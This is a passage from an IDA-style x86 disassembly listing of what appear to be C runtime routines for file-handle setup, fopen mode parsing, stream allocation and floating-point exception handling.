[eax+480h] loc_42F7B7: ; CODE XREF: sub_42F6FC+D9j cmp eax, ecx jnb short loc_42F7D7 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh and dword ptr [eax+8], 0 mov byte ptr [eax+5], 0Ah mov ecx, [esi] add eax, 24h add ecx, 480h jmp short loc_42F7B7 ; --------------------------------------------------------------------------- loc_42F7D7: ; CODE XREF: sub_42F6FC+BDj add esi, 4 cmp dword_676FE0, edi jl short loc_42F799 jmp short loc_42F7EA ; --------------------------------------------------------------------------- loc_42F7E4: ; CODE XREF: sub_42F6FC+AAj mov edi, dword_676FE0 loc_42F7EA: ; CODE XREF: sub_42F6FC+96j ; sub_42F6FC+E6j xor esi, esi test edi, edi jle short loc_42F83C loc_42F7F0: ; CODE XREF: sub_42F6FC+13Ej mov eax, [ebp+var_4] mov ecx, [eax] cmp ecx, 0FFFFFFFFh jz short loc_42F832 mov al, [ebx] test al, 1 jz short loc_42F832 test al, 8 jnz short loc_42F80F push ecx call dword_4371F4 ; GetFileType test eax, eax jz short loc_42F832 loc_42F80F: ; CODE XREF: sub_42F6FC+106j mov ecx, esi mov eax, esi sar ecx, 5 and eax, 1Fh mov ecx, dword_676EE0[ecx*4] lea eax, [eax+eax*8] lea eax, [ecx+eax*4] mov ecx, [ebp+var_4] mov ecx, [ecx] mov [eax], ecx mov cl, [ebx] mov [eax+4], cl loc_42F832: ; CODE XREF: sub_42F6FC+FCj ; sub_42F6FC+102j ... add [ebp+var_4], 4 inc esi inc ebx cmp esi, edi jl short loc_42F7F0 loc_42F83C: ; CODE XREF: sub_42F6FC+69j ; sub_42F6FC+74j ... xor ebx, ebx loc_42F83E: ; CODE XREF: sub_42F6FC+1A9j mov ecx, dword_676EE0 lea eax, [ebx+ebx*8] cmp dword ptr [ecx+eax*4], 0FFFFFFFFh lea esi, [ecx+eax*4] jnz short loc_42F89D test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_42F85D push 0FFFFFFF6h pop eax jmp short loc_42F867 ; --------------------------------------------------------------------------- loc_42F85D: ; CODE XREF: sub_42F6FC+15Aj mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_42F867: ; CODE XREF: sub_42F6FC+15Fj push eax call dword_437200 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_42F88C push edi call dword_4371F4 ; GetFileType test eax, eax jz short loc_42F88C and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_42F892 loc_42F88C: ; CODE XREF: sub_42F6FC+177j ; sub_42F6FC+182j or byte ptr [esi+4], 40h jmp short loc_42F8A1 ; --------------------------------------------------------------------------- loc_42F892: ; CODE XREF: sub_42F6FC+18Ej cmp eax, 3 jnz short loc_42F8A1 or byte ptr [esi+4], 8 jmp short loc_42F8A1 ; --------------------------------------------------------------------------- loc_42F89D: ; CODE XREF: sub_42F6FC+152j or byte ptr [esi+4], 80h loc_42F8A1: ; CODE XREF: sub_42F6FC+194j ; sub_42F6FC+199j ... inc ebx cmp ebx, 3 jl short loc_42F83E push dword_676FE0 call dword_437204 ; SetHandleCount pop edi pop esi pop ebx leave retn sub_42F6FC endp ; =============== S U B R O U T I N E ======================================= sub_42F8B8 proc near ; CODE XREF: sub_42A2C1+20p ; sub_42A2C1+EBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] cmp esi, dword_676FE0 jnb short loc_42F905 mov ecx, esi mov eax, esi sar ecx, 5 and eax, 1Fh mov ecx, dword_676EE0[ecx*4] lea eax, [eax+eax*8] test byte ptr [ecx+eax*4+4], 1 jz short loc_42F905 push edi push esi call sub_43241B push [esp+0Ch+arg_8] push [esp+10h+arg_4] push esi call sub_42F91D push esi mov edi, eax call sub_43247A add esp, 14h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F905: ; CODE XREF: sub_42F8B8+Bj ; sub_42F8B8+26j call sub_42F119 mov dword ptr [eax], 9 call sub_42F122 and dword ptr [eax], 0 or eax, 0FFFFFFFFh pop esi retn sub_42F8B8 endp ; =============== S U B R O U T I N E ======================================= sub_42F91D proc near ; CODE XREF: sub_42F523+197p ; sub_42F8B8+38p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi push esi call sub_4323D9 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42F93C call sub_42F119 mov dword ptr [eax], 9 jmp short loc_42F969 ; --------------------------------------------------------------------------- loc_42F93C: ; CODE XREF: sub_42F91D+10j push [esp+8+arg_8] push 0 push [esp+10h+arg_4] push eax call dword_4370BC ; SetFilePointer mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42F95C call dword_437170 ; RtlGetLastWin32Error jmp short loc_42F95E ; --------------------------------------------------------------------------- loc_42F95C: ; CODE XREF: sub_42F91D+35j xor eax, eax loc_42F95E: ; CODE XREF: sub_42F91D+3Dj test eax, eax jz short loc_42F96E push eax call sub_42F0A6 pop ecx loc_42F969: ; CODE XREF: sub_42F91D+1Dj or eax, 0FFFFFFFFh jmp short loc_42F98D ; --------------------------------------------------------------------------- loc_42F96E: ; CODE XREF: sub_42F91D+43j mov ecx, esi and esi, 1Fh sar ecx, 5 mov eax, esi mov ecx, dword_676EE0[ecx*4] lea eax, [eax+eax*8] and byte ptr [ecx+eax*4+4], 0FDh lea eax, [ecx+eax*4+4] mov eax, edi loc_42F98D: ; CODE XREF: sub_42F91D+4Fj pop edi pop esi retn sub_42F91D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F990 proc near ; CODE XREF: sub_42A4DB+1Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_676B34 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_42F9C9 cmp al, 72h jz short loc_42F9C2 cmp al, 77h jnz loc_42FADD mov ecx, 301h jmp short loc_42F9CE ; --------------------------------------------------------------------------- loc_42F9C2: ; CODE XREF: sub_42F990+21j xor ecx, ecx or esi, 1 jmp short loc_42F9D1 ; --------------------------------------------------------------------------- loc_42F9C9: ; CODE XREF: sub_42F990+1Dj mov ecx, 109h loc_42F9CE: ; CODE XREF: sub_42F990+30j or esi, 2 loc_42F9D1: ; CODE XREF: sub_42F990+37j push 1 pop edx loc_42F9D4: ; CODE XREF: sub_42F990+8Bj ; sub_42F990+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_42FAC3 cmp edx, ebx jz loc_42FAC3 movsx eax, al cmp eax, 54h jg short loc_42FA62 jz short loc_42FA52 sub eax, 2Bh jz short loc_42FA3C sub eax, 19h jz short loc_42FA32 sub eax, 0Eh jz short loc_42FA1D dec eax jnz loc_42FAB4 cmp [ebp+var_4], ebx jnz loc_42FAB4 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_42F9D4 ; --------------------------------------------------------------------------- loc_42FA1D: ; CODE XREF: sub_42F990+6Fj cmp [ebp+var_4], ebx jnz loc_42FAB4 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_42F9D4 ; --------------------------------------------------------------------------- loc_42FA32: ; CODE XREF: sub_42F990+6Aj test cl, 40h jnz short loc_42FAB4 or ecx, 40h jmp short loc_42F9D4 ; --------------------------------------------------------------------------- loc_42FA3C: ; CODE XREF: sub_42F990+65j test cl, 2 jnz short loc_42FAB4 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_42F9D4 ; --------------------------------------------------------------------------- loc_42FA52: ; CODE XREF: sub_42F990+60j mov eax, 1000h test ecx, eax jnz short loc_42FAB4 or ecx, eax jmp loc_42F9D4 ; --------------------------------------------------------------------------- loc_42FA62: ; CODE XREF: sub_42F990+5Ej sub eax, 62h jz short loc_42FAAF dec eax jz short loc_42FA98 sub eax, 0Bh jz short loc_42FA81 sub eax, 6 jnz short loc_42FAB4 test ch, 0C0h jnz short loc_42FAB4 or ch, 40h jmp loc_42F9D4 ; --------------------------------------------------------------------------- loc_42FA81: ; CODE XREF: sub_42F990+DDj cmp [ebp+var_8], ebx jnz short loc_42FAB4 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_42F9D4 ; --------------------------------------------------------------------------- loc_42FA98: ; CODE XREF: sub_42F990+D8j cmp [ebp+var_8], ebx jnz short loc_42FAB4 mov [ebp+var_8], 1 or esi, 4000h jmp loc_42F9D4 ; --------------------------------------------------------------------------- loc_42FAAF: ; CODE XREF: sub_42F990+D5j test ch, 0C0h jz short loc_42FABB loc_42FAB4: ; CODE XREF: sub_42F990+72j ; sub_42F990+7Bj ... xor edx, edx jmp loc_42F9D4 ; --------------------------------------------------------------------------- loc_42FABB: ; CODE XREF: sub_42F990+122j or ch, 80h jmp loc_42F9D4 ; --------------------------------------------------------------------------- loc_42FAC3: ; CODE XREF: sub_42F990+4Aj ; sub_42F990+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_4336B9 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_42FAE1 loc_42FADD: ; CODE XREF: sub_42F990+25j xor eax, eax jmp short loc_42FAFB ; --------------------------------------------------------------------------- loc_42FAE1: ; CODE XREF: sub_42F990+14Bj mov eax, [ebp+arg_C] inc dword_676920 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_42FAFB: ; CODE XREF: sub_42F990+14Fj pop edi pop esi pop ebx leave retn sub_42F990 endp ; =============== S U B R O U T I N E ======================================= sub_42FB00 proc near ; CODE XREF: sub_42A4DB+1p push ebx push esi push edi push 2 xor ebx, ebx xor edi, edi call sub_42DAEF xor esi, esi cmp dword_678020, ebx pop ecx jle loc_42FBBA loc_42FB1D: ; CODE XREF: sub_42FB00+57j mov eax, dword_67700C mov eax, [eax+esi*4] cmp eax, ebx jz short loc_42FB60 test byte ptr [eax+0Ch], 83h jnz short loc_42FB50 push eax push esi call sub_42C203 pop ecx pop ecx mov ecx, dword_67700C mov eax, [ecx+esi*4] test byte ptr [eax+0Ch], 83h jz short loc_42FB5B push eax push esi call sub_42C255 pop ecx pop ecx loc_42FB50: ; CODE XREF: sub_42FB00+2Dj inc esi cmp esi, dword_678020 jl short loc_42FB1D jmp short loc_42FBBA ; --------------------------------------------------------------------------- loc_42FB5B: ; CODE XREF: sub_42FB00+45j mov edi, [ecx+esi*4] jmp short loc_42FBA4 ; --------------------------------------------------------------------------- loc_42FB60: ; CODE XREF: sub_42FB00+27j push 38h shl esi, 2 call sub_4297B8 pop ecx mov ecx, dword_67700C mov [esi+ecx], eax mov eax, dword_67700C mov eax, [esi+eax] cmp eax, ebx jz short loc_42FBBA add eax, 20h push eax call dword_437158 ; InitializeCriticalSection mov eax, dword_67700C mov eax, [esi+eax] add eax, 20h push eax call dword_4370CC ; RtlEnterCriticalSection mov eax, dword_67700C mov edi, [esi+eax] loc_42FBA4: ; CODE XREF: sub_42FB00+5Ej cmp edi, ebx jz short loc_42FBBA or dword ptr [edi+10h], 0FFFFFFFFh mov [edi+4], ebx mov [edi+0Ch], ebx mov [edi+8], ebx mov [edi], ebx mov [edi+1Ch], ebx loc_42FBBA: ; CODE XREF: sub_42FB00+17j ; sub_42FB00+59j ... push 2 call sub_42DB50 pop ecx mov eax, edi pop edi pop esi pop ebx retn sub_42FB00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42FBC8(int, double, int) sub_42FBC8 proc near ; CODE XREF: sub_42A706+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = qword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_453B20, 0 jnz short loc_42FBFD push [ebp+arg_C] ; int fld [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_43017E add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_42FBFD: ; CODE XREF: sub_42FBC8+Aj call sub_42F119 push 0FFFFh mov dword ptr [eax], 21h push [ebp+arg_C] call sub_4303F3 fld [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_42FBC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42FC1C(int, int, double, double, int) sub_42FC1C proc near ; CODE XREF: sub_42A706:loc_42A7C9p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42FF67 add esp, 0Ch test eax, eax jnz short loc_42FC5A lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_42FCB4 add esp, 18h loc_42FC5A: ; CODE XREF: sub_42FC1C+1Aj push [ebp+arg_0] call sub_430253 cmp dword_453B20, 0 pop ecx jnz short loc_42FC98 test eax, eax jz short loc_42FC98 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_43017E add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_42FC98: ; CODE XREF: sub_42FC1C+4Ej ; sub_42FC1C+52j push eax call sub_430206 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4303F3 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_42FC1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FCB4 proc near ; CODE XREF: sub_42FC1C+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_42FCE6 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_42FCE6: ; CODE XREF: sub_42FCB4+23j test cl, 2 jz short loc_42FCF9 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_42FCF9: ; CODE XREF: sub_42FCB4+35j test cl, bl jz short loc_42FD0B mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_42FD0B: ; CODE XREF: sub_42FCB4+47j test cl, 4 jz short loc_42FD1E mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_42FD1E: ; CODE XREF: sub_42FCB4+5Aj test cl, 8 jz short loc_42FD31 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_42FD31: ; CODE XREF: sub_42FCB4+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4303D6 test al, bl jz short loc_42FDBA mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_42FDBA: ; CODE XREF: sub_42FCB4+FDj test al, 4 jz short loc_42FDC5 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_42FDC5: ; CODE XREF: sub_42FCB4+108j test al, 8 jz short loc_42FDD0 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_42FDD0: ; CODE XREF: sub_42FCB4+113j test al, 10h jz short loc_42FDDA mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_42FDDA: ; CODE XREF: sub_42FCB4+11Ej test al, 20h jz short loc_42FDE4 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_42FDE4: ; CODE XREF: sub_42FCB4+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42FE23 cmp eax, 400h jz short loc_42FE15 cmp eax, 800h jz short loc_42FE09 cmp eax, ecx jnz short loc_42FE29 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_42FE29 ; --------------------------------------------------------------------------- loc_42FE09: ; CODE XREF: sub_42FCB4+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_42FE1F ; --------------------------------------------------------------------------- loc_42FE15: ; CODE XREF: sub_42FCB4+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_42FE1F: ; CODE XREF: sub_42FCB4+15Fj mov [eax], ecx jmp short loc_42FE29 ; --------------------------------------------------------------------------- loc_42FE23: ; CODE XREF: sub_42FCB4+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_42FE29: ; CODE XREF: sub_42FCB4+14Bj ; sub_42FCB4+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42FE54 cmp eax, 200h jz short loc_42FE47 cmp eax, ecx jnz short loc_42FE61 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_42FE61 ; --------------------------------------------------------------------------- loc_42FE47: ; CODE XREF: sub_42FCB4+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_42FE5F ; --------------------------------------------------------------------------- loc_42FE54: ; CODE XREF: sub_42FCB4+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_42FE5F: ; CODE XREF: sub_42FCB4+19Ej mov [eax], ecx loc_42FE61: ; CODE XREF: sub_42FCB4+189j ; sub_42FCB4+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4303E4 lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call dword_437234 ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_42FEDB and dword ptr [esi], 0FFFFFFFEh loc_42FEDB: ; CODE XREF: sub_42FCB4+222j test byte ptr [eax+8], 8 jz short loc_42FEE4 and dword ptr [esi], 0FFFFFFFBh loc_42FEE4: ; CODE XREF: sub_42FCB4+22Bj test byte ptr [eax+8], 4 jz short loc_42FEED and dword ptr [esi], 0FFFFFFF7h loc_42FEED: ; CODE XREF: sub_42FCB4+234j test byte ptr [eax+8], 2 jz short loc_42FEF6 and dword ptr [esi], 0FFFFFFEFh loc_42FEF6: ; CODE XREF: sub_42FCB4+23Dj test [eax+8], bl jz short loc_42FEFE and dword ptr [esi], 0FFFFFFDFh loc_42FEFE: ; CODE XREF: sub_42FCB4+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42FF32 dec ecx jz short loc_42FF26 dec ecx jz short loc_42FF1C dec ecx jnz short loc_42FF34 or byte ptr [esi+1], 0Ch jmp short loc_42FF34 ; --------------------------------------------------------------------------- loc_42FF1C: ; CODE XREF: sub_42FCB4+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_42FF2E ; --------------------------------------------------------------------------- loc_42FF26: ; CODE XREF: sub_42FCB4+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_42FF2E: ; CODE XREF: sub_42FCB4+270j mov [esi], ecx jmp short loc_42FF34 ; --------------------------------------------------------------------------- loc_42FF32: ; CODE XREF: sub_42FCB4+257j and [esi], edx loc_42FF34: ; CODE XREF: sub_42FCB4+260j ; sub_42FCB4+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42FF54 dec ecx jz short loc_42FF4B dec ecx jnz short loc_42FF5D and [esi], edx jmp short loc_42FF5D ; --------------------------------------------------------------------------- loc_42FF4B: ; CODE XREF: sub_42FCB4+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_42FF5B ; --------------------------------------------------------------------------- loc_42FF54: ; CODE XREF: sub_42FCB4+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_42FF5B: ; CODE XREF: sub_42FCB4+29Ej mov [esi], ecx loc_42FF5D: ; CODE XREF: sub_42FCB4+291j ; sub_42FCB4+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_42FCB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FF67 proc near ; CODE XREF: sub_42FC1C+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42FF92 test byte ptr [ebp+arg_8], bl jz short loc_42FF92 push ebx call sub_430416 pop ecx and edi, 0FFFFFFF7h jmp loc_43015C ; --------------------------------------------------------------------------- loc_42FF92: ; CODE XREF: sub_42FF67+15j ; sub_42FF67+1Aj test al, 4 jz short loc_42FFAC test byte ptr [ebp+arg_8], 4 jz short loc_42FFAC push 4 call sub_430416 pop ecx and edi, 0FFFFFFFBh jmp loc_43015C ; --------------------------------------------------------------------------- loc_42FFAC: ; CODE XREF: sub_42FF67+2Dj ; sub_42FF67+33j test al, bl jz loc_430086 test byte ptr [ebp+arg_8], 8 jz loc_430086 push 8 call sub_430416 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_43005E cmp ecx, 400h jz short loc_430036 cmp ecx, 800h jz short loc_43000E cmp ecx, eax jnz loc_43007E mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_437628 fld dbl_4536E0 fnstsw ax sahf ja short loc_430006 fchs loc_430006: ; CODE XREF: sub_42FF67+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_43007C ; --------------------------------------------------------------------------- loc_43000E: ; CODE XREF: sub_42FF67+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_437628 fnstsw ax sahf jbe short loc_430026 fld dbl_4536D0 jmp short loc_43002E ; --------------------------------------------------------------------------- loc_430026: ; CODE XREF: sub_42FF67+B5j fld dbl_4536E0 fchs loc_43002E: ; CODE XREF: sub_42FF67+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_43007C ; --------------------------------------------------------------------------- loc_430036: ; CODE XREF: sub_42FF67+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_437628 fnstsw ax sahf jbe short loc_43004E fld dbl_4536E0 jmp short loc_430056 ; --------------------------------------------------------------------------- loc_43004E: ; CODE XREF: sub_42FF67+DDj ; DATA XREF: .text:0043AB74o fld dbl_4536D0 fchs loc_430056: ; CODE XREF: sub_42FF67+E5j fstp [ebp+var_C] fld [ebp+var_C] loc_43005C: ; DATA XREF: .text:off_43BA40o ; .text:off_43C0B0o jmp short loc_43007C ; --------------------------------------------------------------------------- loc_43005E: ; CODE XREF: sub_42FF67+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_437628 fld dbl_4536D0 fnstsw ax sahf ja short loc_430076 fchs loc_430076: ; CODE XREF: sub_42FF67+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_43007C: ; CODE XREF: sub_42FF67+A5j ; sub_42FF67+CDj ... fstp qword ptr [ecx] loc_43007E: ; CODE XREF: sub_42FF67+81j and edi, 0FFFFFFFEh jmp loc_43015C ; --------------------------------------------------------------------------- loc_430086: ; CODE XREF: sub_42FF67+47j ; sub_42FF67+51j test al, 2 jz loc_43015C test byte ptr [ebp+arg_8], 10h jz loc_43015C push esi xor esi, esi test al, 10h jz short loc_4300A1 mov esi, ebx loc_4300A1: ; CODE XREF: sub_42FF67+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_437628 fnstsw ax sahf jz loc_43014A fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_430315 mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4300EC fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_430140 ; --------------------------------------------------------------------------- loc_4300EC: ; CODE XREF: sub_42FF67+17Aj fld [ebp+var_C] fcomp dbl_437628 fnstsw ax sahf jnb short loc_4300FE mov edx, ebx jmp short loc_430100 ; --------------------------------------------------------------------------- loc_4300FE: ; CODE XREF: sub_42FF67+191j xor edx, edx loc_430100: ; CODE XREF: sub_42FF67+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_430134 sub eax, ecx loc_430117: ; CODE XREF: sub_42FF67+1CBj test byte ptr [ebp+var_C], bl jz short loc_430122 test esi, esi jnz short loc_430122 mov esi, ebx loc_430122: ; CODE XREF: sub_42FF67+1B3j ; sub_42FF67+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_43012E or byte ptr [ebp+var_C+3], 80h loc_43012E: ; CODE XREF: sub_42FF67+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_430117 loc_430134: ; CODE XREF: sub_42FF67+1ACj test edx, edx jz short loc_430140 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_430140: ; CODE XREF: sub_42FF67+183j ; sub_42FF67+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_43014C ; --------------------------------------------------------------------------- loc_43014A: ; CODE XREF: sub_42FF67+14Ej mov esi, ebx loc_43014C: ; CODE XREF: sub_42FF67+1E1j test esi, esi pop esi jz short loc_430159 push 10h call sub_430416 pop ecx loc_430159: ; CODE XREF: sub_42FF67+1E8j and edi, 0FFFFFFFDh loc_43015C: ; CODE XREF: sub_42FF67+26j ; sub_42FF67+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_430173 test byte ptr [ebp+arg_8], 20h jz short loc_430173 push 20h call sub_430416 pop ecx and edi, 0FFFFFFEFh loc_430173: ; CODE XREF: sub_42FF67+1F9j ; sub_42FF67+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42FF67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_43017E(int, int, int, int, int, int, double, int) sub_43017E proc near ; CODE XREF: sub_42FBC8+2Bp ; sub_42FC1C+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_43022E test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4301E9 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] 